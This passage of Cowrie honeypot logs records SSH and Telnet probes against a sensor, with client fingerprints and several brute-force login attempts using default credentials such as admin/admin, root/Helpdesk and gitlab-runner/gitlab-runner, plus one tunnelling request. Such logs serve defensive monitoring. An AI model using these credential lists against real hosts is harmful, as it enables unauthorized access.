ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:22.341588Z","src_ip":"87.251.64.176","session":"75b132fd2ce9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:22.633225Z","src_ip":"87.251.64.176","session":"75b132fd2ce9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:22.732872Z","session":"75b132fd2ce9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:22.830623Z","src_ip":"87.251.64.176","session":"75b132fd2ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:22.929942Z","src_ip":"87.251.64.176","session":"75b132fd2ce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":51656,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe1e10815843","protocol":"ssh","message":"New connection: 8.218.166.49:51656 (10.17.0.5:22) [session: fe1e10815843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:33.333357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:34.406852Z","src_ip":"8.218.166.49","session":"fe1e10815843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.81.133","src_port":43088,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb3a1f5bfb12","protocol":"telnet","message":"New connection: 104.238.81.133:43088 (10.17.0.5:23) [session: cb3a1f5bfb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:35.471984Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:44.202948Z","src_ip":"8.218.166.49","session":"fe1e10815843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:50.253078Z","src_ip":"8.218.166.49","session":"fe1e10815843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.8","message":"Connection lost after 18.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:52.123180Z","src_ip":"8.218.166.49","session":"fe1e10815843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34518,"dst_ip":"10.17.0.5","dst_port":22,"session":"971cb3081485","protocol":"ssh","message":"New connection: 8.218.166.49:34518 (10.17.0.5:22) [session: 971cb3081485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:57.074886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:57.917975Z","src_ip":"8.218.166.49","session":"971cb3081485","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:36:57.921461Z","src_ip":"8.218.166.49","session":"971cb3081485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.720927238464355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:06.192769Z","src_ip":"104.238.81.133","session":"cb3a1f5bfb12","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:07.135200Z","src_ip":"8.218.166.49","session":"971cb3081485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:13.695004Z","src_ip":"8.218.166.49","session":"971cb3081485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":55536,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b8e55e58c06","protocol":"ssh","message":"New connection: 14.63.196.175:55536 (10.17.0.5:22) [session: 0b8e55e58c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:14.966666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:14.971651Z","src_ip":"14.63.196.175","session":"0b8e55e58c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":49690,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d71ead185d2","protocol":"ssh","message":"New connection: 183.182.125.142:49690 (10.17.0.5:22) [session: 0d71ead185d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:15.061112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:15.066051Z","src_ip":"183.182.125.142","session":"0d71ead185d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:15.171510Z","src_ip":"14.63.196.175","session":"0b8e55e58c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:15.341417Z","src_ip":"183.182.125.142","session":"0d71ead185d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaaaaaaaa","message":"login attempt [root/aaaaaaaaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:16.001267Z","src_ip":"14.63.196.175","session":"0b8e55e58c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Helpdesk","message":"login attempt [root/Helpdesk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:16.471066Z","src_ip":"183.182.125.142","session":"0d71ead185d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:17.215863Z","src_ip":"14.63.196.175","session":"0b8e55e58c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:17.747373Z","src_ip":"183.182.125.142","session":"0d71ead185d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.224.126.107","src_port":49480,"dst_ip":"10.17.0.5","dst_port":22,"session":"887fd68088d7","protocol":"ssh","message":"New connection: 43.224.126.107:49480 (10.17.0.5:22) [session: 887fd68088d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:23.274462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:31.305494Z","src_ip":"8.218.166.49","session":"3e9fe4402cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:31.309318Z","src_ip":"8.218.166.49","session":"3e9fe4402cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:48.722471Z","src_ip":"8.218.166.49","session":"be41d6222d23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.103.5.12","src_port":56074,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6f6a2e8f93c","protocol":"ssh","message":"New connection: 43.103.5.12:56074 (159.203.135.109:22) [session: a6f6a2e8f93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:57.137424Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:37:57.143290Z","src_ip":"43.103.5.12","session":"a6f6a2e8f93c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:38:05.399831Z","src_ip":"8.218.166.49","session":"3e9fe4402cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.30.93.2","src_port":37361,"dst_ip":"10.17.0.5","dst_port":23,"session":"953c2f72acfc","protocol":"telnet","message":"New connection: 175.30.93.2:37361 (10.17.0.5:23) [session: 953c2f72acfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:38:17.899216Z"}
{"eventid":"cowrie.session.closed","duration":13.368982553482056,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:38:31.268067Z","src_ip":"175.30.93.2","session":"953c2f72acfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55452,"dst_ip":"10.17.0.5","dst_port":22,"session":"5222b1c2367e","protocol":"ssh","message":"New connection: 8.218.166.49:55452 (10.17.0.5:22) [session: 5222b1c2367e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:38:53.149267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:38:55.848550Z","src_ip":"8.218.166.49","session":"5222b1c2367e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:38:55.856108Z","src_ip":"8.218.166.49","session":"5222b1c2367e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:05.577627Z","src_ip":"8.218.166.49","session":"5222b1c2367e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:11.339827Z","src_ip":"8.218.166.49","session":"5222b1c2367e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:23.280901Z","src_ip":"43.224.126.107","session":"887fd68088d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":10510,"dst_ip":"159.203.135.109","dst_port":22,"session":"e86dad4d6e7f","protocol":"ssh","message":"New connection: 2.57.121.112:10510 (159.203.135.109:22) [session: e86dad4d6e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:27.706851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:27.710999Z","src_ip":"2.57.121.112","session":"e86dad4d6e7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:27.811826Z","src_ip":"2.57.121.112","session":"e86dad4d6e7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"denisov","message":"login attempt [admin/denisov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:28.289318Z","src_ip":"2.57.121.112","session":"e86dad4d6e7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"demand","message":"login attempt [admin/demand] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:29.393551Z","src_ip":"2.57.121.112","session":"e86dad4d6e7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"deltaone","message":"login attempt [admin/deltaone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:30.497422Z","src_ip":"2.57.121.112","session":"e86dad4d6e7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"delta4","message":"login attempt [admin/delta4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:39:31.604037Z","src_ip":"2.57.121.112","session":"e86dad4d6e7f","protocol":"ssh"}
